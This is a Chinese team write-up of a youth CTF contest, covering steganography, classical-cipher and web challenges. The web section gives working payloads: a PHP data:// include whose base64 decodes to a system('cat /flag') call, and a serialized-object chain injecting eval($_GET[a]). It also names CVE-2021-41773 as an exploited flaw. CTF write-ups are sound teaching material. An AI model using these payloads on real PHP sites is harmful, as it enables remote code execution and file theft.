第六届“强网杯”青少年专项赛 writewp by 楠辞姐姐后援团

楠辞姐姐后援团战队WRITEUP

前言

这次比赛难度很大,Crypto部分也全都是猜谜语类型的题目,没啥游戏体验,不过好在排名在前30.本篇WP为团队WP,团队成员为:树木,AcexZe,Lenyi

战队信息

战队名称:楠辞姐姐后援团

战队排名:24

解题情况

第六届“强网杯”青少年专项赛 writewp by 楠辞姐姐后援团_第1张图片

 

解题过程

Misc

misc1

先将得到的base64转文件得到

第六届“强网杯”青少年专项赛 writewp by 楠辞姐姐后援团_第2张图片

可以看出来将偶数位和奇数位互换可以得到一个png图片

f1 = open('chuyinweilai.png.png', 'rb').read()
f2 = open('1.png', 'ab+')
for i in range(0, len(f1), 2):
    f2.write(f1[i:i+2][::-1])
f2.close()

得到

第六届“强网杯”青少年专项赛 writewp by 楠辞姐姐后援团_第3张图片

在最低有效位通道可以发现不太对劲,结合密钥可以想到加密lsb

根据描述百度万能和弦得到4536251

使用cloacked-pixel解密

第六届“强网杯”青少年专项赛 writewp by 楠辞姐姐后援团_第4张图片

得到

flag{5cc0aa21208b517dbd0bde650247237f}

misc3

在附件尾部找到

第六届“强网杯”青少年专项赛 writewp by 楠辞姐姐后援团_第5张图片

可以看到有一个密码和zip数据,foremost分离出zip

解压得到

第六届“强网杯”青少年专项赛 writewp by 楠辞姐姐后援团_第6张图片

结合图片内容和密钥以及misc1的思路,直接用cloacked-pixel跑

第六届“强网杯”青少年专项赛 writewp by 楠辞姐姐后援团_第7张图片

得到

flag{2e55f884-ef01-4654-87b1-cc3111800085}

Web

web1

看一下题目描述,发现存在CVE-2021-41773,我们直接百度一手,搜到了一个github工具

使用该工具成功获取flag

第六届“强网杯”青少年专项赛 writewp by 楠辞姐姐后援团_第8张图片

flag{f59a396c-a2b7-4433-961d-5b979fccfe2e}

web2

进入容器看一手源码

第六届“强网杯”青少年专项赛 writewp by 楠辞姐姐后援团_第9张图片

看到最底下存在一个base64加密过的字符串,直接base64解密(不止一层,套娃解就好)

第六届“强网杯”青少年专项赛 writewp by 楠辞姐姐后援团_第10张图片

解出来了个cream.php,我们访问

第六届“强网杯”青少年专项赛 writewp by 楠辞姐姐后援团_第11张图片

得到了该题目的源码,审计一下

Fopen是r+函数,所以文件或url必须同时具有读写能力,经测试后发现伪协议可以正常使用,file参数解决,而content内容就是include的参数,所以我们可以直接使用data加base64绕过,下面放出payload

/cream.php?file=data://,&content=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgL2ZsYWciKTs/Pg==

成功获取flag

第六届“强网杯”青少年专项赛 writewp by 楠辞姐姐后援团_第12张图片

flag{27311418-850e-4d85-8ea2-ee88685e1274}

web3

首先利用dirsearch扫描目录得到www.zip和dome.php

第六届“强网杯”青少年专项赛 writewp by 楠辞姐姐后援团_第13张图片

发现www.zip中有demo.php的源码

根据源码写出exp:

$res = new Sliver;

$res->secret = new Range;

$res->secret->link = new Water;

$res->secret->link->waterfall = new Circle;

echo urlencode(serialize($a));

利用/绕过

Poc:

demo.php

?data=O%3A6%3A%22Sliver%22%3A2%3A%7Bs%3A6%3A%22secret%22%3BO%3A5%3A%22Range%22%3A2%3A%7Bs%3A5%3A%22horis%22%3BN%3Bs%3A4%3A%22link%22%3BO%3A5%3A%22Water%22%3A1%3A%7Bs%3A9%3A%22waterfall%22%3BO%3A6%3A%22Circle%22%3A2%3A%7Bs%3A6%3A%22daemon%22%3BN%3Bs%3A7%3A%22%00%2A%00dash%22%3Bs%3A16%3A%22%40eval%28%24_GET%5Ba%5D%29%3B%22%3B%7D%7D%7Ds%3A5%3A%22resty%22%3BN%3B%7D&a=system("cat /flag");

取得flag

第六届“强网杯”青少年专项赛 writewp by 楠辞姐姐后援团_第14张图片

flag{d5c46251-1f3f-4531-a912-cb66c1a6a1e6}

Pwn

一道题都不会捏qwq

Reverse

一道题都不会捏qwq

Crypto

crypto1

拿到一个AB和空格的文档

第六届“强网杯”青少年专项赛 writewp by 楠辞姐姐后援团_第15张图片

根据经验,认为符合Morse,将A改为-后将B改为.

第六届“强网杯”青少年专项赛 writewp by 楠辞姐姐后援团_第16张图片

使用CyberChef解一下Morse

第六届“强网杯”青少年专项赛 writewp by 楠辞姐姐后援团_第17张图片

看到这样的密文,结合简介,想到单表替换密码,使用

第六届“强网杯”青少年专项赛 writewp by 楠辞姐姐后援团_第18张图片

其中有一个FLAG IS,将后面的内容复制并转为小写加上flag{},得到flag

flag{1d817f23-4e20-9405-bf6d-e83d055316d6}

crypto2

使用千千秀字的栅栏解密栅栏32得到

第六届“强网杯”青少年专项赛 writewp by 楠辞姐姐后援团_第19张图片

使用CyberCher的“ROT47 Brute Force”可以看到在rot32处可以看到flag{,rot31处可以看到uuid格式

第六届“强网杯”青少年专项赛 writewp by 楠辞姐姐后援团_第20张图片

再将rot31的数字部分与rot32的非字母部分对应位置替换

Amount = 31: ek`fz7914c2bd-880b-40b0-8167-2e77e3101a44|

Amount = 32: flag{8:25d3ce.991c.51c1.9278.3f88f4212b55}

得到flag

flag{7914d2ce-880c-40c0-8167-2f77f3101b44}

你可能感兴趣的:(CTF,php,开发语言)